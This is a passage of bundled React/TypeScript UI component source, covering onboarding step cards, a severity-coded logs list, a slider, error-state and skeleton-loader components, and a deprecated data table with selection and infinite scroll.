markSkipped(step.id)\n  }\n\n  const handleDismiss = () => {\n    dismissOnboarding()\n    onDismiss?.()\n  }\n\n  // ALL hooks have been called above - now safe to do conditional returns\n  // Don't render if dismissed\n  if (state.dismissed) {\n    return null\n  }\n\n  const isAllComplete = allStepsComplete(steps)\n\n  return (\n    <div className={cn('w-full space-y-4', className)}>\n      {/* Header - responsive: stacks on mobile */}\n      <div className=\"flex flex-col md:flex-row items-start md:items-center justify-between gap-3 md:gap-0\">\n        <h2 className={SECTION_HEADING_CLASS}>\n          Get Started\n        </h2>\n\n        {isLoadingCompletion ? (\n          <div className=\"h-[48px] w-full md:w-[160px] bg-ods-border rounded-[6px] animate-pulse\" />\n        ) : isAllComplete ? (\n          <Button\n            variant=\"accent\"\n            onClick={handleDismiss}\n            className=\"w-full md:w-auto\"\n          >\n            Close Onboarding\n          </Button>\n        ) : (\n          <Button\n            variant=\"outline\"\n            onClick={handleDismiss}\n            className=\"w-full md:w-auto\"\n          >\n            Skip Onboarding\n          </Button>\n        )}\n      </div>\n\n      {/* Step cards - no wrapper, direct rendering */}\n      <div className={cn(spacing)}>\n        {steps.map((step) => (\n          <OnboardingStepCard\n            key={step.id}\n            step={step}\n            isCompleted={isStepComplete(step.id)}\n            isSkipped={isStepSkipped(step.id)}\n            isCheckingCompletion={isLoadingCompletion}\n            onAction={() => handleStepAction(step)}\n            onSkip={() => handleStepSkip(step)}\n          />\n        ))}\n      </div>\n    </div>\n  )\n}\n","'use client'\n\nimport React from 'react'\nimport { InteractiveCard } from '../../ui/interactive-card'\nimport { Button } from '../../ui/button'\nimport { StatusBadge } from '../../ui/status-badge'\nimport { cn } from '../../../utils/cn'\n\nexport interface OnboardingStepCardProps {\n  step: {\n    id: string\n    title: string\n    description: string\n    actionIcon: (color?: string) => React.ReactNode\n    actionText: string\n    completedText: string\n    onAction: () => void | Promise<void>\n    onSkip?: () => void\n  }\n  isCompleted: boolean\n  isSkipped: boolean\n  isCheckingCompletion: boolean\n  onAction: () => void | Promise<void>\n  onSkip: () => void\n  className?: string\n}\n\nexport function OnboardingStepCard({\n  step,\n  isCompleted,\n  isSkipped,\n  isCheckingCompletion,\n  onAction,\n  onSkip,\n  className\n}: OnboardingStepCardProps) {\n  const [isProcessing, setIsProcessing] = React.useState(false)\n\n  const handleAction = async (e: React.MouseEvent) => {\n    e.stopPropagation()\n    setIsProcessing(true)\n    try {\n      await onAction()\n    } finally {\n      setIsProcessing(false)\n    }\n  }\n\n  const handleSkip = (e: React.MouseEvent) => {\n    e.stopPropagation()\n    onSkip()\n  }\n\n  return (\n    <InteractiveCard\n      clickable={false}\n      className={cn(\n        'bg-ods-card border border-ods-border rounded-[6px]',\n        'flex flex-col md:flex-row',\n        'min-h-[80px] md:h-[80px]',\n        'items-start md:items-center',\n        'gap-3 md:gap-4',\n        'px-4 py-4 md:py-0',\n        className\n      )}\n    >\n      {/* Left column - content */}\n      <div className=\"flex-1 w-full md:w-auto min-w-0 flex flex-col justify-center gap-1\">\n        <h3 className=\"text-h4 text-ods-text-primary truncate\" title={step.title}>\n          {step.title}\n        </h3>\n        <p className=\"text-h6 text-ods-text-secondary truncate h-[20px]\" title={step.description}>\n          {step.description}\n        </p>\n      </div>\n\n      {/* Right column - action buttons, completed badge, or skipped badge */}\n      <div className=\"flex items-center gap-2 w-full md:w-auto justify-start md:justify-end shrink-0\" onClick={(e) => e.stopPropagation()}>\n        {isCheckingCompletion ? (\n          <>\n            <div className=\"h-[32px] w-[100px] bg-ods-border rounded-[6px] animate-pulse\" />\n            <div className=\"h-[32px] w-[120px] bg-ods-border rounded-[6px] animate-pulse\" />\n          </>\n        ) : isCompleted ? (\n          <>\n            <StatusBadge\n              text=\"COMPLETED\"\n              variant=\"card\"\n              colorScheme=\"success\"\n            />\n            <Button\n              variant=\"outline\"\n              onClick={handleAction}\n              disabled={isProcessing}\n              leftIcon={step.actionIcon('white')}\n            >\n              {step.completedText}\n            </Button>\n          </>\n        ) : isSkipped ? (\n          <>\n            <StatusBadge\n              text=\"SKIPPED\"\n              variant=\"card\"\n              colorScheme=\"default\"\n            />\n          </>\n        ) : (\n          <>\n            <Button\n              variant=\"outline\"\n              onClick={handleSkip}\n            >\n              Skip Step\n            </Button>\n            <Button\n              variant=\"accent\"\n              onClick={handleAction}\n              disabled={isProcessing}\n              leftIcon={step.actionIcon('black')}\n            >\n              {step.actionText}\n            </Button>\n          </>\n        )}\n      </div>\n    </InteractiveCard>\n  )\n}\n","import * as React from 'react'\nimport { cn } from '../utils/cn'\nimport { LogsListProps, LogEntry } from '../types/logs.types'\nimport { LogSeverityDot } from './log-severity-dot'\nimport { ToolIcon } from './tool-icon'\n\nconst formatTimestamp = (timestamp: string | Date): string => {\n  const date = timestamp instanceof Date ? timestamp : new Date(timestamp)\n  \n  // UTC getters so the timestamp is identical on server (UTC) and client\n  // (local) — otherwise React #418 hydration mismatch.\n  const year = date.getUTCFullYear()\n  const month = String(date.getUTCMonth() + 1).padStart(2, '0')\n  const day = String(date.getUTCDate()).padStart(2, '0')\n  const hours = String(date.getUTCHours()).padStart(2, '0')\n  const minutes = String(date.getUTCMinutes()).padStart(2, '0')\n\n  return `${year}/${month}/${day},${hours}:${minutes}`\n}\n\nconst LogCard: React.FC<{\n  log: LogEntry\n  isLast: boolean\n  showConnector: boolean\n  onClick?: () => void\n}> = ({ log, isLast, showConnector, onClick }) => {\n  return (\n    <div className=\"relative\">\n      <div\n        className={cn(\n          'box-border flex gap-3 items-start py-2 px-1 relative rounded w-full',\n          'hover:bg-ods-bg-hover/50 transition-colors cursor-pointer'\n        )}\n        onClick={onClick}\n        role=\"button\"\n        tabIndex={0}\n        onKeyDown={(e) => {\n          if (e.key === 'Enter' || e.key === ' ') {\n            e.preventDefault()\n            onClick?.()\n          }\n        }}\n      >\n        <LogSeverityDot severity={log.severity} size=\"md\" />\n        \n        <div className=\"flex-1 min-w-0 space-y-1\">\n          <p className=\"text-h6 text-ods-text-primary\">\n            {log.title}\n          </p>\n          <div className=\"flex items-center gap-2\">\n            <p className=\"text-h5 text-ods-text-secondary\">\n              {formatTimestamp(log.timestamp)}\n            </p>\n            {log.toolType && (\n              <ToolIcon toolType={log.toolType} size={16} />\n            )}\n          </div>\n        </div>\n      </div>\n      \n      {showConnector && !isLast && (\n        <div \n          className=\"absolute bg-ods-border left-[15px] w-[2px]\"\n          style={{ \n            top: '28px',\n            bottom: '-10px'\n          }}\n          aria-hidden=\"true\"\n        />\n      )}\n    </div>\n  )\n}\n\nexport const LogsList = React.forwardRef<\n  HTMLDivElement,\n  LogsListProps\n>(({ \n  logs, \n  maxHeight = '400px', \n  showConnector = true,\n  onLogClick,\n  loading = false,\n  emptyMessage = 'No logs to display',\n  className \n}, ref) => {\n  const containerRef = React.useRef<HTMLDivElement>(null)\n\n  const isFullHeight = maxHeight === '100%'\n\n  const getContainerStyles = () => {\n    if (isFullHeight) return undefined\n    return { maxHeight, minHeight: '200px' }\n  }\n\n  const getContainerClasses = () => {\n    if (isFullHeight) return 'h-full'\n    return ''\n  }\n\n  if (loading) {\n    return (\n      <div \n        ref={ref}\n        className={cn(\n          'bg-ods-card border border-ods-border rounded-lg p-4',\n          'flex items-center justify-center',\n          getContainerClasses(),\n          className\n        )}\n        style={getContainerStyles()}\n      >\n        <div className=\"text-ods-text-muted text-h6\">Loading logs...</div>\n      </div>\n    )\n  }\n\n  if (logs.length === 0) {\n    return (\n      <div \n        ref={ref}\n        className={cn(\n          'bg-ods-card border border-ods-border rounded-lg p-4',\n          'flex items-center justify-center',\n          getContainerClasses(),\n          className\n        )}\n        style={getContainerStyles()}\n      >\n        <div className=\"text-ods-text-muted text-h6\">{emptyMessage}</div>\n      </div>\n    )\n  }\n\n  return (\n    <div\n      ref={ref}\n      className={cn(\n        'bg-ods-card border border-ods-border rounded-lg relative',\n        'flex flex-col overflow-hidden',\n        getContainerClasses(),\n        className\n      )}\n      style={getContainerStyles()}\n    >\n      <div\n        ref={containerRef}\n        className=\"overflow-y-auto px-4 py-3 flex-1\"\n      >\n        {logs.map((log, index) => (\n          <LogCard\n            key={log.id}\n            log={log}\n            isLast={index === logs.length - 1}\n            showConnector={showConnector}\n            onClick={() => onLogClick?.(log)}\n          />\n        ))}\n      </div>\n    </div>\n  )\n})\n\nLogsList.displayName = 'LogsList'","import * as React from 'react'\nimport { cn } from '../utils/cn'\nimport { LogSeverityDotProps, LOG_SEVERITY_COLORS, LOG_SEVERITY_LABELS } from '../types/logs.types'\n\nexport const LogSeverityDot = React.forwardRef<\n  HTMLDivElement,\n  LogSeverityDotProps\n>(({ severity, size = 'md', className }, ref) => {\n  const sizeClasses = {\n    sm: 'w-4 h-4',\n    md: 'w-6 h-6',\n    lg: 'w-8 h-8'\n  }\n\n  const dotSizeClasses = {\n    sm: 'w-2 h-2',\n    md: 'w-3 h-3',\n    lg: 'w-4 h-4'\n  }\n\n  return (\n    <div\n      ref={ref}\n      className={cn(\n        'relative flex items-center justify-center shrink-0',\n        sizeClasses[size],\n        className\n      )}\n      aria-label={`${LOG_SEVERITY_LABELS[severity]} severity`}\n    >\n      <div\n        className={cn(\n          'rounded-full',\n          dotSizeClasses[size]\n        )}\n        style={{ backgroundColor: LOG_SEVERITY_COLORS[severity] }}\n      />\n    </div>\n  )\n})\n\nLogSeverityDot.displayName = 'LogSeverityDot'","import type { ToolType } from './tool.types'\n\nexport type LogSeverity = 'DEBUG' | 'INFO' | 'WARNING' | 'ERROR' | 'CRITICAL'\n\nexport interface LogEntry {\n  id: string\n  ingestDay: string\n  eventType: string\n  severity: LogSeverity\n  title: string\n  timestamp: string | Date\n  toolType?: ToolType\n  toolIcon?: string\n  message?: string\n  metadata?: Record<string, any>\n}\n\nexport interface LogsListProps {\n  logs: LogEntry[]\n  maxHeight?: string | number\n  showConnector?: boolean\n  onLogClick?: (log: LogEntry) => void\n  loading?: boolean\n  emptyMessage?: string\n  className?: string\n}\n\nexport interface LogSeverityDotProps {\n  severity: LogSeverity\n  size?: 'sm' | 'md' | 'lg'\n  className?: string\n}\n\nexport const LOG_SEVERITY_COLORS: Record<LogSeverity, string> = {\n  DEBUG: '#888888',\n  INFO: '#888888',\n  WARNING: '#e1b32f',\n  ERROR: '#f36666',\n  CRITICAL: '#b43b3b'\n}\n\nexport const LOG_SEVERITY_LABELS: Record<LogSeverity, string> = {\n  DEBUG: 'Debug',\n  INFO: 'Info',\n  WARNING: 'Warning',\n  ERROR: 'Error',\n  CRITICAL: 'Critical'\n}","// Assets exports\n// Font files and other static assets\n// Platform utilities will be available when needed\n\nexport const assets = {} as const;\nexport * from './fae-avatar';\n","\"use client\"\n\nimport * as React from \"react\"\nimport { cn } from \"../../utils/cn\"\n\ninterface SliderProps extends Omit<React.InputHTMLAttributes<HTMLInputElement>, 'onChange' | 'value'> {\n  value?: number[];\n  onValueChange?: (value: number[]) => void;\n  min?: number;\n  max?: number;\n  step?: number;\n}\n\nconst Slider = React.forwardRef<HTMLInputElement, SliderProps>(\n  ({ className, value = [0], onValueChange, min = 0, max = 100, step = 1, ...props }, ref) => {\n    const handleChange = (e: React.ChangeEvent<HTMLInputElement>) => {\n      const newValue = [Number(e.target.value)];\n      onValueChange?.(newValue);\n    };\n\n    return (\n      <input\n        type=\"range\"\n        className={cn(\n          \"flex h-5 w-full cursor-pointer appearance-none items-center rounded-lg bg-secondary outline-none\",\n          \"[&::-webkit-slider-thumb]:appearance-none [&::-webkit-slider-thumb]:h-5 [&::-webkit-slider-thumb]:w-5 [&::-webkit-slider-thumb]:rounded-full [&::-webkit-slider-thumb]:bg-primary\",\n          \"[&::-moz-range-thumb]:h-5 [&::-moz-range-thumb]:w-5 [&::-moz-range-thumb]:rounded-full [&::-moz-range-thumb]:bg-primary [&::-moz-range-thumb]:border-0\",\n          className\n        )}\n        ref={ref}\n        value={value[0]}\n        onChange={handleChange}\n        min={min}\n        max={max}\n        step={step}\n        {...props}\n      />\n    )\n  }\n)\nSlider.displayName = \"Slider\"\n\nexport { Slider }","'use client';\n\nimport React from 'react';\n\nexport interface TitleContentBlockProps {\n  title: string;\n  content: React.ReactNode;\n  titleColor?: string;\n  titleClassName?: string;\n  contentClassName?: string;\n  containerClassName?: string;\n  titleAs?: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6' | 'div';\n  contentAs?: 'h1' | 'h2' | 'h3' | 'h4' | 'h5' | 'h6' | 'p' | 'div';\n  spacing?: 'sm' | 'md' | 'lg';\n}\n\nconst spacingMap = {\n  sm: 'space-y-1',\n  md: 'space-y-2',\n  lg: 'space-y-4'\n};\n\nexport function TitleContentBlock({\n  title,\n  content,\n  titleColor = 'text-ods-text-secondary',\n  titleClassName = \"text-h5 tracking-[-0.28px]\",\n  contentClassName = \"text-h2 tracking-[-0.64px] text-ods-text-primary\",\n  containerClassName = '',\n  titleAs: TitleElement = 'div',\n  contentAs: ContentElement = 'h4',\n  spacing = 'md'\n}: TitleContentBlockProps) {\n  const titleClasses = `${titleClassName} ${titleColor}`;\n  \n  return (\n    <div className={`${spacingMap[spacing]} ${containerClassName}`}>\n      <TitleElement className={titleClasses}>\n        {title}\n      </TitleElement>\n      <ContentElement className={contentClassName}>\n        {content}\n      </ContentElement>\n    </div>\n  );\n}","\"use client\"\n\nimport React from 'react'\nimport { AlertTriangle, RefreshCw, Home } from 'lucide-react'\nimport { Button } from './button'\nimport { cn } from '../../utils/cn'\n\ninterface ErrorStateProps {\n  title?: string\n  message: string\n  variant?: 'error' | 'warning' | 'info'\n  showIcon?: boolean\n  showRetry?: boolean\n  showHome?: boolean\n  onRetry?: () => void\n  onHome?: () => void\n  className?: string\n  containerClassName?: string\n}\n\nexport function ErrorState({\n  title = 'Error',\n  message,\n  variant = 'error',\n  showIcon = true,\n  showRetry = false,\n  showHome = false,\n  onRetry,\n  onHome,\n  className,\n  containerClassName\n}: ErrorStateProps) {\n  const getVariantStyles = () => {\n    switch (variant) {\n      case 'error':\n        return {\n          // -secondary tokens, NOT `/20` alpha modifiers: the ods colors are\n          // hex CSS vars, and Tailwind 3.x can't inject alpha into those —\n          // the modifier silently produced no background at all.\n          bg: 'bg-ods-error-secondary',\n          border: 'border-ods-error',\n          text: 'text-ods-error',\n          icon: 'text-ods-error'\n        }\n      case 'warning':\n        return {\n          bg: 'bg-ods-warning-secondary',\n          border: 'border-ods-warning',\n          text: 'text-ods-warning',\n          icon: 'text-ods-warning'\n        }\n      case 'info':\n        return {\n          bg: 'bg-ods-bg-surface',\n          border: 'border-ods-border',\n          text: 'text-ods-text-secondary',\n          icon: 'text-ods-text-secondary'\n        }\n    }\n  }\n\n  const styles = getVariantStyles()\n\n  return (\n    <div className={cn(\"p-6\", containerClassName)}>\n      <div className={cn(\n        \"rounded-lg p-4 border\",\n        styles.bg,\n        styles.border,\n        className\n      )}>\n        <div className=\"flex items-start gap-3\">\n          {showIcon && (\n            <AlertTriangle className={cn(\"h-5 w-5 mt-0.5 flex-shrink-0\", styles.icon)} />\n          )}\n          <div className=\"flex-1\">\n            <h3 className={cn(\"font-semibold mb-1\", styles.text)}>\n              {title}\n            </h3>\n            <p className={cn(\"text-h6\", styles.text)}>\n              {message}\n            </p>\n            {(showRetry || showHome) && (\n              <div className=\"flex gap-2 mt-3\">\n                {showRetry && onRetry && (\n                  <Button\n                    onClick={onRetry}\n                    variant=\"outline\"\n                    size=\"small-legacy\"\n                    className=\"h-8\"\n                    leftIcon={<RefreshCw className=\"h-4 w-4\" />}\n                  >\n                    Try Again\n                  </Button>\n                )}\n                {showHome && onHome && (\n                  <Button\n                    onClick={onHome}\n                    variant=\"outline\"\n                    size=\"small-legacy\"\n                    className=\"h-8\"\n                    leftIcon={<Home className=\"h-4 w-4\" />}\n                  >\n                    Go Home\n                  </Button>\n                )}\n              </div>\n            )}\n          </div>\n        </div>\n      </div>\n    </div>\n  )\n}\n\n// Convenience components for common error scenarios\nexport function PageError({ message, onRetry, onHome }: { message: string; onRetry?: () => void; onHome?: () => void }) {\n  return (\n    <ErrorState\n      title=\"Page Error\"\n      message={message}\n      variant=\"error\"\n      showRetry={!!onRetry}\n      showHome={!!onHome}\n      onRetry={onRetry}\n      onHome={onHome}\n    />\n  )\n}\n\nexport function LoadError({ message, onRetry }: { message: string; onRetry?: () => void }) {\n  return (\n    <ErrorState\n      title=\"Loading Error\"\n      message={message}\n      variant=\"error\"\n      showRetry={!!onRetry}\n      onRetry={onRetry}\n    />\n  )\n}\n\nexport function NotFoundError({ message = \"The requested item was not found\", onHome }: { message?: string; onHome?: () => void }) {\n  return (\n    <ErrorState\n      title=\"Not Found\"\n      message={message}\n      variant=\"warning\"\n      showHome={!!onHome}\n      onHome={onHome}\n    />\n  )\n}","'use client';\n\nimport { cn } from '../../utils/cn';\n\nexport interface ContentLoaderProps {\n  /**\n   * The type of content being loaded\n   */\n  variant?: 'card' | 'form' | 'detail' | 'list';\n  /**\n   * Number of items to show in the skeleton\n   */\n  items?: number;\n  /**\n   * Show a title skeleton\n   */\n  showTitle?: boolean;\n  /**\n   * Additional CSS classes\n   */\n  className?: string;\n  /**\n   * Container CSS classes\n   */\n  containerClassName?: string;\n}\n\n/**\n * Unified content loader component that replaces duplicate loading patterns\n * Uses ODS design tokens for consistent theming\n */\nexport function ContentLoader({\n  variant = 'card',\n  items = 4,\n  showTitle = true,\n  className,\n  containerClassName,\n}: ContentLoaderProps) {\n  const renderCardSkeleton = () => (\n    <div className=\"animate-pulse\">\n      {showTitle && <div className=\"h-8 w-64 bg-ods-skeleton rounded mb-6\" />}\n      <div className=\"bg-ods-card border border-ods-border rounded-lg p-6\">\n        <div className=\"grid grid-cols-1 md:grid-cols-4 gap-6 mb-6\">\n          {Array.from({ length: items }).map((_, i) => (\n            <div key={i}>\n              <div className=\"h-4 w-20 bg-ods-skeleton rounded mb-2\" />\n              <div className=\"h-6 w-32 bg-ods-skeleton rounded\" />\n            </div>\n          ))}\n        </div>\n        <div className=\"border-t border-ods-border pt-4\">\n          <div className=\"h-4 w-64 bg-ods-skeleton rounded\" />\n        </div>\n      </div>\n    </div>\n  );\n\n  const renderFormSkeleton = () => (\n    <div className=\"animate-pulse\">\n      {showTitle && <div className=\"h-8 bg-ods-card rounded w-64 mb-6\" />}\n      <div className=\"bg-ods-card rounded-lg p-6\">\n        <div className=\"space-y-4\">\n          {Array.from({ length: items }).map((_, i) => (\n            <div key={i}>\n              <div className=\"h-4 bg-ods-skeleton rounded w-32 mb-2\" />\n              <div className=\"h-10 bg-ods-skeleton rounded\" />\n            </div>\n          ))}\n        </div>\n      </div>\n    </div>\n  );\n\n  const renderDetailSkeleton = () => (\n    <div className=\"animate-pulse\">\n      {showTitle && <div className=\"h-8 w-64 bg-ods-skeleton rounded mb-6\" />}\n      <div className=\"bg-ods-card border border-ods-border rounded-lg p-6\">\n        <div className=\"grid grid-cols-1 lg:grid-cols-3 gap-6\">\n          <div className=\"lg:col-span-2\">\n            <div className=\"h-64 bg-ods-skeleton rounded mb-4\" />\n            <div className=\"space-y-2\">\n              {Array.from({ length: 3 }).map((_, i) => (\n                <div key={i} className=\"h-4 bg-ods-skeleton rounded\" />\n              ))}\n            </div>\n          </div>\n          <div>\n            <div className=\"h-32 bg-ods-skeleton rounded mb-4\" />\n            <div className=\"space-y-2\">\n              {Array.from({ length: items }).map((_, i) => (\n                <div key={i} className=\"h-3 bg-ods-skeleton rounded\" />\n              ))}\n            </div>\n          </div>\n        </div>\n      </div>\n    </div>\n  );\n\n  const renderListSkeleton = () => (\n    <div className=\"animate-pulse space-y-3\">\n      {showTitle && <div className=\"h-8 w-64 bg-ods-skeleton rounded mb-6\" />}\n      {Array.from({ length: items }).map((_, i) => (\n        <div key={i} className=\"bg-ods-card border border-ods-border rounded-lg p-4\">\n          <div className=\"flex items-center gap-4\">\n            <div className=\"h-12 w-12 bg-ods-skeleton rounded\" />\n            <div className=\"flex-1\">\n              <div className=\"h-4 bg-ods-skeleton rounded w-3/4 mb-2\" />\n              <div className=\"h-3 bg-ods-skeleton rounded w-1/2\" />\n            </div>\n            <div className=\"h-8 w-20 bg-ods-skeleton rounded\" />\n          </div>\n        </div>\n      ))}\n    </div>\n  );\n\n  const renderSkeleton = () => {\n    switch (variant) {\n      case 'form':\n        return renderFormSkeleton();\n      case 'detail':\n        return renderDetailSkeleton();\n      case 'list':\n        return renderListSkeleton();\n      case 'card':\n      default:\n        return renderCardSkeleton();\n    }\n  };\n\n  return (\n    <div className={cn('p-6', containerClassName)}>\n      <div className={cn(className)}>{renderSkeleton()}</div>\n    </div>\n  );\n}\n\n// Export individual skeleton variants for specific use cases\nexport const CardLoader = (props: Omit<ContentLoaderProps, 'variant'>) => <ContentLoader {...props} variant=\"card\" />;\n\nexport const FormLoader = (props: Omit<ContentLoaderProps, 'variant'>) => <ContentLoader {...props} variant=\"form\" />;\n\nexport const DetailLoader = (props: Omit<ContentLoaderProps, 'variant'>) => (\n  <ContentLoader {...props} variant=\"detail\" />\n);\n\nexport const ListLoader = (props: Omit<ContentLoaderProps, 'variant'>) => <ContentLoader {...props} variant=\"list\" />;\n","'use client'\n\nimport { type ReactNode, useEffect, useRef } from 'react'\nimport { cn } from '../../../utils/cn'\nimport { Chevron02RightIcon } from '../../icons-v2-generated'\nimport { Pagination } from '../../pagination'\nimport { Button } from '../button'\nimport { CursorPagination } from '../cursor-pagination'\nimport { TableEmptyState } from './table-empty-state'\nimport { TableHeader } from './table-header'\nimport { TableRow } from './table-row'\nimport { ROW_HEIGHT_DESKTOP, ROW_HEIGHT_MOBILE, TableCardSkeleton } from './table-skeleton'\nimport { useTableMotion } from './use-table-motion'\nimport type { RowAction, TableColumn, TableProps } from './types'\n\n/**\n * Injects synthetic columns (row actions and/or row-level chevron link) at the end of the columns array.\n */\nfunction injectSyntheticColumns<T>(\n  columns: TableColumn<T>[],\n  rowActions?: RowAction<T>[],\n  renderRowActions?: (item: T) => ReactNode,\n  rowHref?: (item: T) => string | null | undefined,\n  actionsColumnWidth?: string,\n): TableColumn<T>[] {\n  const hasActions = Boolean(rowActions?.length) || Boolean(renderRowActions)\n  const result = [...columns]\n\n  if (hasActions) {\n    const actionsColumn: TableColumn<T> = {\n      key: '__actions__',\n      label: '',\n      // A caller-fixed width keeps the header and every row on ONE grid\n      // (see `actionsColumnWidth` in types.ts); the default stays\n      // content-sized for back-compat.\n      width: actionsColumnWidth ?? 'min-w-[100px] w-auto shrink-0 flex-none',\n      align: 'right',\n      renderCell: (item: T) => (\n        <div className=\"flex gap-2 items-center justify-end pointer-events-auto\" data-no-row-click>\n          {renderRowActions ? (\n            renderRowActions(item)\n          ) : (\n            rowActions!.map((action, actionIndex) => (\n              <Button\n                key={actionIndex}\n                variant=\"outline\"\n                onClick={(e) => {\n                  e.stopPropagation()\n                  action.onClick(item)\n                }}\n                leftIcon={action.icon}\n                className={action.className}\n              >\n                {action.label}\n              </Button>\n            ))\n          )}\n        </div>\n      ),\n    }\n    result.push(actionsColumn)\n  }\n\n  if (rowHref) {\n    const chevronColumn: TableColumn<T> = {\n      key: '__chevron__',\n      label: '',\n      width: 'w-12 shrink-0 flex-none',\n      align: 'right',\n      renderCell: (item: T) => {\n        const href = rowHref(item)\n        if (!href) return null\n        return (\n          <div className=\"flex items-center justify-end pointer-events-auto\" data-no-row-click>\n            <Button\n              href={href}\n              prefetch={false}\n              variant=\"outline\"\n              size=\"icon\"\n              leftIcon={<Chevron02RightIcon className=\"w-6 h-6\" />}\n              aria-label=\"View details\"\n            />\n          </div>\n        )\n      },\n    }\n    result.push(chevronColumn)\n  }\n\n  return result\n}\n\n/** @deprecated Use `DataTable` from `data-table` instead. */\nexport function Table<T = any>({\n  data,\n  columns,\n  rowKey,\n  loading = false,\n  emptyMessage,\n  skeletonRows = 10,\n  className,\n  containerClassName,\n  headerClassName,\n  rowClassName,\n  compact,\n  onRowClick,\n  rowActions,\n  renderRowActions,\n  rowHref,\n  sortBy,\n  sortDirection,\n  onSort,\n  filters,\n  onFilterChange,\n  selectable,\n  selectedRows = [],\n  onSelectionChange,\n  bulkActions,\n  showToolbar,\n  cursorPagination,\n  pagePagination,\n  paginationClassName,\n  infiniteScroll,\n  stickyHeader,\n  stickyHeaderOffset,\n  animateRowReorder,\n  actionsColumnWidth,\n}: TableProps<T>) {\n  // Opt-in row-reorder animation: framer-motion is loaded lazily (its own chunk)\n  // ONLY when `animateRowReorder` is set, so the default table stays motion-free.\n  const tableMotion = useTableMotion(Boolean(animateRowReorder))\n  const columnsWithActions = injectSyntheticColumns(columns, rowActions, renderRowActions, rowHref, actionsColumnWidth)\n  const getRowHref = (item: T): string | undefined => {\n    if (onRowClick || !rowHref) return undefined\n    return rowHref(item) ?? undefined\n  }\n  const getRowKey = (item: T, index: number): string => {\n    if (typeof rowKey === 'function') {\n      return rowKey(item)\n    }\n    const key = item[rowKey]\n    return key?.toString() || index.toString()\n  }\n\n  const getRowClassName = (item: T, index: number): string => {\n    if (typeof rowClassName === 'function') {\n      return rowClassName(item, index)\n    }\n    return rowClassName || ''\n  }\n\n  const isRowSelected = (item: T) => {\n    if (!selectable || !selectedRows) return false\n    const key = getRowKey(item, -1)\n    return selectedRows.some(row => getRowKey(row, -1) === key)\n  }\n\n  const handleSelectRow = (item: T) => {\n    if (!onSelectionChange) return\n\n    const key = getRowKey(item, -1)\n    const isSelected = isRowSelected(item)\n\n    if (isSelected) {\n      onSelectionChange(selectedRows.filter(row => getRowKey(row, -1) !== key))\n    } else {\n      onSelectionChange([...selectedRows, item])\n    }\n  }\n\n  const handleSelectAll = () => {\n    if (!onSelectionChange) return\n\n    if (selectedRows.length === data.length) {\n      onSelectionChange([])\n    } else {\n      onSelectionChange([...data])\n    }\n  }\n\n  const allSelected = selectedRows.length > 0 && selectedRows.length === data.length\n  const someSelected = selectedRows.length > 0 && selectedRows.length < data.length\n\n  // Infinite scroll: IntersectionObserver on sentinel div\n  const sentinelRef = useRef<HTMLDivElement>(null)\n  const onLoadMoreRef = useRef(infiniteScroll?.onLoadMore)\n  onLoadMoreRef.current = infiniteScroll?.onLoadMore\n\n  useEffect(() => {\n    if (!infiniteScroll?.hasNextPage || infiniteScroll.isFetchingNextPage) return\n    const sentinel = sentinelRef.current\n    if (!sentinel) return\n\n    const observer = new IntersectionObserver(\n      (entries) => {\n        if (entries[0]?.isIntersecting) {\n          onLoadMoreRef.current?.()\n        }\n      },\n      { rootMargin: '200px' },\n    )\n    observer.observe(sentinel)\n    return () => observer.disconnect()\n  }, [infiniteScroll?.hasNextPage, infiniteScroll?.isFetchingNextPage])\n\n  return (\n    <div className={cn('flex flex-col gap-1 w-full', containerClassName)}>\n      {/* Toolbar for bulk actions */}\n      {showToolbar && bulkActions && selectedRows.length > 0 && (\n        <div className=\"flex items-center justify-between bg-ods-card border border-ods-border rounded-[6px] p-3 mb-2\">\n          <span className=\"text-ods-text-secondary text-h6\">\n            {selectedRows.length} item{selectedRows.length !== 1 ? 's' : ''} selected\n          </span>\n          <div className=\"flex gap-2\">\n            {bulkActions.map((action, index) => (\n              <button\n                key={index}\n                onClick={() => action.onClick(selectedRows)}\n                disabled={action.requiresSelection && selectedRows.length === 0}\n                className={cn(\n                  \"px-3 py-1.5 text-h6 rounded border transition-colors\",\n                  \"bg-ods-card border-ods-border hover:bg-ods-bg-active text-ods-text-primary\",\n                  action.className\n                )}\n              >\n                {action.icon}\n                {action.label}\n              </button>\n            ))}\n          </div>\n        </div>\n      )}\n\n      {/* Desktop Header */}\n      <TableHeader\n        columns={columnsWithActions}\n        className={headerClassName}\n        sortBy={sortBy}\n        sortDirection={sortDirection}\n        onSort={onSort}\n        filters={filters}\n        onFilterChange={onFilterChange}\n        selectable={selectable}\n        allSelected={allSelected}\n        someSelected={someSelected}\n        onSelectAll={handleSelectAll}\n        totalItemsCount={data.length}\n        stickyHeader={stickyHeader}\n        stickyHeaderOffset={stickyHeaderOffset}\n      />\n\n      {/* Table Body */}\n      <div className={cn('flex flex-col gap-2 w-full', className)}>\n        {loading && data.length === 0 ? (\n          <TableCardSkeleton\n            columns={columns}\n            rows={skeletonRows}\n            compact={compact}\n            hasActions={Boolean(rowActions) && rowActions!.length > 0}\n            hasChevron={Boolean(rowHref)}\n          />\n        ) : data.length === 0 ? (\n          <TableEmptyState message={emptyMessage} />\n        ) : (\n          <>\n            {/* Real data rows. When `animateRowReorder` is on, wrap ONLY these\n                in a `LayoutGroup` so a reorder (same key, new order) animates via\n                FLIP — the invisible placeholder rows below are intentionally left\n                outside it. `AnimatePresence` is not needed here: the row set is\n                stable across a reorder (no enter/exit); add it if a future task\n                animates rows being added/removed. */}\n            {(() => {\n              const rows = data.map((item, index) => (\n                <TableRow\n                  key={getRowKey(item, index)}\n                  item={item}\n                  columns={columnsWithActions}\n                  onClick={onRowClick}\n                  href={getRowHref(item)}\n                  className={getRowClassName(item, index)}\n                  index={index}\n                  compact={compact}\n                  selectable={selectable}\n                  selected={isRowSelected(item)}\n                  onSelect={handleSelectRow}\n                  animateRowReorder={animateRowReorder}\n                  motionDiv={tableMotion?.motionDiv}\n                />\n              ))\n              // LayoutGroup only once framer-motion has lazily resolved; until\n              // then (and when off) rows render as plain `<div>`s.\n              const LayoutGroup = tableMotion?.LayoutGroup\n              return animateRowReorder && LayoutGroup ? <LayoutGroup>{rows}</LayoutGroup> : rows\n            })()}\n            {/* Infinite scroll: skeleton rows */}\n            {infiniteScroll?.isFetchingNextPage && (\n              <TableCardSkeleton\n                columns={columns}\n                rows={infiniteScroll.skeletonRows ?? 3}\n                hasActions={Boolean(rowActions) && rowActions!.length > 0}\n                hasChevron={Boolean(rowHref)}\n              />\n            )}\n            {/* Infinite scroll: sentinel element */}\n            {infiniteScroll?.hasNextPage && 